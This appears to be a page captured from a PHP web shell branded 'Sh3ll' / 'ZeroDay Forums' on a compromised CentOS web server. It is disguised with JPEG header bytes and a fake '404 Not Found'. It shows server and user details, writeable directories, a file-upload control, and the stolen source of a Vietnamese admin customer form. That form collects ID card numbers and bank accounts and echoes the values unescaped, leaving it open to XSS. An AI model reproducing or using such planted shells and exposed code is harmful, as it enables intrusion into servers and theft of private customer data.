����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/admin.adimi/code/management/customer/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //var/www/html/admin.adimi/code/management/customer/post_tpl.php
<div class="card card-warning">
    <div class="card-header">
        <h3 class="card-title">Thông tin khách hàng</h3>
    </div>
    <!-- /.card-header -->
    <div class="card-body">
        <form action="?act=management&code=customer&type=post" method="post">
            <input type="hidden" name="f[customer_id]" value="<?php echo $row_check['customer_id'];?>">
            <div class="row">
                <div class="col-sm-6">
                    <!-- text input -->
                    <div class="form-group">
                        <label>Họ tên</label>
                        <input type="text" class="form-control" name="f[customer_fullname]" value="<?php echo $row_check['customer_fullname'];?>" required>
                    </div>
                </div>
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Tên</label>
                        <input type="text" class="form-control" name="f[customer_lastname]" value="<?php echo $row_check['customer_lastname'];?>" required>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-sm-6">
                    <!-- textarea -->
                    <div class="form-group">
                        <label>Ông/Bà</label>
                        <select class="form-control" name="f[customer_gender]">
                            <option value="1" <?php if($row_check['customer_gender']==1){ echo 'selected';};?>>Ông</option>
                            <option value="2" <?php if($row_check['customer_gender']==2){ echo 'selected';};?>>Bà</option>
                        </select>
                    </div>
                </div>
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Công ty</label>
                        <textarea class="form-control" rows="1" placeholder="" name="f[customer_company]"><?php echo $row_check['customer_company'];?></textarea>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-sm-6">
                    <!-- text input -->
                    <div class="form-group">
                        <label>Chức vụ</label>
                        <input type="text" class="form-control" name="f[customer_chucvu]" value="<?php echo $row_check['customer_chucvu'];?>">
                    </div>
                </div>
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Địa chỉ</label>
                        <textarea class="form-control" rows="1" placeholder="" name="f[customer_address]" required><?php echo $row_check['customer_address'];?></textarea>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Email</label>
                        <input type="email" class="form-control" name="f[customer_email]" value="<?php echo $row_check['customer_email'];?>">
                    </div>
                </div>
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Mobile</label>
                        <input type="text" class="form-control" name="f[customer_mobile]" value="<?php echo $row_check['customer_mobile'];?>">
                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>CMND</label>
                        <input type="text" class="form-control" name="f[customer_cmnd]" value="<?php echo $row_check['customer_cmnd'];?>">
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Ngày cấp</label>
                        <input type="text" class="form-control" name="f[customer_cmnd_ngaycap]" value="<?php echo $row_check['customer_cmnd_ngaycap'];?>">
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Nơi cấp</label>
                        <input type="text" class="form-control" name="f[customer_cmnd_noicap]" value="<?php echo $row_check['customer_cmnd_noicap'];?>">
                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Số tài khoản</label>
                        <input type="text" class="form-control" name="f[customer_sotaikhoan]" value="<?php echo $row_check['customer_sotaikhoan'];?>">
                    </div>
                </div>
                <div class="col-sm-6">
                    <div class="form-group">
                        <label>Ngân hàng</label>
                        <input type="text" class="form-control" name="f[customer_nganhang]" value="<?php echo $row_check['customer_nganhang'];?>">
                    </div>
                </div>

            </div>
            <div class="row">
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Mã số thuế</label>
                        <input type="text" class="form-control" name="f[customer_masothue]" value="<?php echo $row_check['customer_masothue'];?>">
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Tỉnh/thành</label>
                        <select class="form-control" name="f[city_id]">
                            <?php echo op_city($row_check['city_id']);?>
                        </select>
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Trạng thái</label>
                        <select class="form-control" name="f[customer_status]">
                            <?php
                            echo get_customer_status($row_check['customer_status']);
                            ?>
                        </select>
                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Số điện thoại 2</label>
                        <input type="text" class="form-control" name="f[customer_sodt2]" value="<?php echo $row_check['customer_sodt2'];?>">
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Người liên hệ</label>
                        <input type="text" class="form-control" name="f[customer_nguoilienhe]" value="<?php echo $row_check['customer_nguoilienhe'];?>">
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Chức vụ người liên hệ</label>
                        <input type="text" class="form-control" name="f[customer_chucvunguoilienhe]" value="<?php echo $row_check['customer_chucvunguoilienhe'];?>">
                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col-sm-12">
                    <div class="form-group">
                        <label>Nhật ký tư vấn</label>
                        <div class="form-check">
                            <?php
                            $txt_nhatky = $row_check['customer_nhatky'];
                            $last_id = '';
                            foreach ($arr_nhatky_fix as $key => $val) {
                                if ($key == 'e' or $key == 'e') {
                                    $last_id = 'id="nkhac"';
                                }
                                if (strpos($txt_nhatky, $key.'@') !== false or strpos($txt_nhatky, '@'.$key) !== false) {
                                    echo '<input name="nhatky_hoso[]" type="checkbox" value="' . $key . '" checked ' . $last_id . '> ' . $val . '<br>';
                                } else {
                                    echo '<input name="nhatky_hoso[]" type="checkbox" value="' . $key . '" ' . $last_id . '> ' . $val . '<br>';
                                }

                            }
                            if (strpos($txt_nhatky, '@e') !== false or strpos($txt_nhatky, 'e@') !== false) {
                                $arr_nhatky = explode('@', $txt_nhatky);
                                echo '<span id="nhatky_khac"><input type="text" value="' . $arr_nhatky[count($arr_nhatky) - 1] . '" name="nhatky_hoso[]" class="form-control"></span>';
                            } else {
                                echo '<span id="nhatky_khac" style="display: none;"><input type="text" value="" name="nhatky_hoso[]" class="form-control"></span>';
                            }
                            ?>
                        </div>

                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col-sm-12">
                    <div class="form-group">
                        <label>Chi tiết các lần tư vấn: </label>
                        <textarea class="summernote2 form-control" name="f[customer_nhatky_note]"><?php echo $row_check['customer_nhatky_note'];?></textarea>
                    </div>
                </div>
            </div>

            <div class="row">
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Ngày sinh người liên hệ</label>
                        <input type="text" class="form-control mydatepicker" name="f[customer_ngaysinhnguoilienhe]" value="<?php echo $row_check['customer_ngaysinhnguoilienhe'];?>">
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Ngày kỷ niệm công ty</label>
                        <input type="text" class="form-control mydatepicker" name="f[customer_ngaykyniemcongty]" value="<?php echo $row_check['customer_ngaykyniemcongty'];?>">
                    </div>
                </div>
                <div class="col-sm-4">
                    <div class="form-group">
                        <label>Ghi chú ngày kỷ niệm công ty</label>
                        <textarea class="form-control" rows="2" placeholder="" name="f[customer_ngaykyniemcongtynote]"><?php echo $row_check['customer_ngaykyniemcongtynote'];?></textarea>
                    </div>
                </div>
            </div>
            <div class="row">
                <div class="col-sm-12">
                    <div class="form-group">
                        <label>Ghi chú công ty</label>
                        <textarea class="summernote1 form-control" name="f[customer_ghichucongty]"><?php echo $row_check['customer_ghichucongty'];?></textarea>
                    </div>
                </div>
            </div>

            <button type="submit" class="btn btn-primary" name="submitbt">Submit</button>
        </form>
    </div>
    <!-- /.card-body -->
</div>
<script>
    $('#nkhac').click(function() {
        if ($(this).prop("checked") == true) {
            $('#nhatky_khac').show();
            $('#nhatky_khac').focus();
        } else if ($(this).prop("checked") == false) {
            $('#nhatky_khac').hide();
        }
    });
</script>

ZeroDay Forums Mini